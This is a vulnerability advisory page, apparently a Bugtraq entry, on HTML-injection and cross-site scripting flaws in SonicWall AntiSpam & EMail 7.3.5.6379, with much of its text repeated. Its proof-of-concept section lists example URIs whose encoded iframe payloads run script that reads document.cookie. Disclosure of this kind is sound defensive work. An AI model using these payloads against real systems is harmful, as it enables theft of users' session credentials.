SonicWall AntiSpam & EMail Multiple HTML Injection and Cross Site Scripting Vulnerabilities
BID:55590
Info
SonicWall AntiSpam & EMail Multiple HTML Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 55590 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 14 2012 12:00AM |
| Updated: | Sep 18 2012 08:20PM |
| Credit: | Benjamin Kunz Mejri |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
SonicWall AntiSpam & EMail Multiple HTML Injection and Cross Site Scripting Vulnerabilities
SonicWall AntiSpam & EMail is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, or control how the site is rendered to the user. Other attacks are also possible.
AntiSpam & EMail 7.3.5.6379 is vulnerable; other versions may also be affected.
SonicWall AntiSpam & EMail is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, or control how the site is rendered to the user. Other attacks are also possible.
AntiSpam & EMail 7.3.5.6379 is vulnerable; other versions may also be affected.
Exploit / POC
SonicWall AntiSpam & EMail Multiple HTML Injection and Cross Site Scripting Vulnerabilities
An attacker can use a web browser to exploit these issues. The cross-site scripting issues can be exploited by enticing an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/virus_config.html
http://www.example.com/policy_approval_box_summary.html
http://www.example.com/alert_history.html?from=200<%253ciframe%2520src%3Da%2520onload%3Dalert%28document.cookie%29%2520%253c
http://www.example.com/alert_history.html[POST REQUEST]row=200<%253ciframe%2520src%3Da%2520onload%3Dalert%28document.cookie%29%2520%253c
http://www.example.com/policy_approval_box.html?pathname=%253ciframe%2520src%3Da%2520onload%3Dalert%28document.cookie%29%2520%253c
An attacker can use a web browser to exploit these issues. The cross-site scripting issues can be exploited by enticing an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/virus_config.html
http://www.example.com/policy_approval_box_summary.html
http://www.example.com/alert_history.html?from=200<%253ciframe%2520src%3Da%2520onload%3Dalert%28document.cookie%29%2520%253c
http://www.example.com/alert_history.html[POST REQUEST]row=200<%253ciframe%2520src%3Da%2520onload%3Dalert%28document.cookie%29%2520%253c
http://www.example.com/policy_approval_box.html?pathname=%253ciframe%2520src%3Da%2520onload%3Dalert%28document.cookie%29%2520%253c
Solution / Fix
SonicWall AntiSpam & EMail Multiple HTML Injection and Cross Site Scripting Vulnerabilities
Solution:
Vendor updates are available. Please see the references for more information.
Solution:
Vendor updates are available. Please see the references for more information.
References
SonicWall AntiSpam & EMail Multiple HTML Injection and Cross Site Scripting Vulnerabilities
References:
References:
- Anti-Spam & Email Security Homepage (SonicWall)